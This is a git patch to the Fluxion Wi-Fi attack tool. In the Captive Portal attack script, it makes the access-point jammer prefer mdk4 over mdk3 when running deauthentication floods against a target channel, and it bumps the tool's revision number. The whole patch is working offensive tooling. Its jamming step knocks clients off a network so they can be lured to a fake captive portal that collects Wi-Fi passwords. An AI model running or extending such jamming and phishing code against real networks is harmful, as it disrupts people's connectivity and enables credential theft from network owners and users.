From de71b4b548e0678ba11827d338522d07a9f827be Mon Sep 17 00:00:00 2001 From: strasharo Date: Mon, 28 Jan 2019 01:18:31 +0200 Subject: [PATCH] Use mdk4 if available for Captive Portal jamming --- attacks/Captive Portal/attack.sh | 17 ++++++++++++++--- fluxion.sh | 2 +- 2 files changed, 15 insertions(+), 4 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 050b374..5249b43 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -1500,11 +1500,22 @@ start_attack() { # Save parent's pid, to get to child later. CaptivePortalJammerServiceXtermPID=$! else - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ + + if ! [ -x "$(command -v mdk4)" ];then + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & - # Save parent's pid, to get to child later. - CaptivePortalJammerServiceXtermPID=$! + # Save parent's pid, to get to child later. + CaptivePortalJammerServiceXtermPID=$! + + else + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ + -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ + "mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + # Save parent's pid, to get to child later. + CaptivePortalJammerServiceXtermPID=$! + fi + fi echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" diff --git a/fluxion.sh b/fluxion.sh index faa9c79..d5c4d00 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -22,7 +22,7 @@ readonly FLUXIONNoiseFloor=-90 readonly FLUXIONNoiseCeiling=-60 readonly FLUXIONVersion=5 -readonly FLUXIONRevision=6 +readonly FLUXIONRevision=7 # Declare window ration bigger = smaller windows FLUXIONWindowRatio=4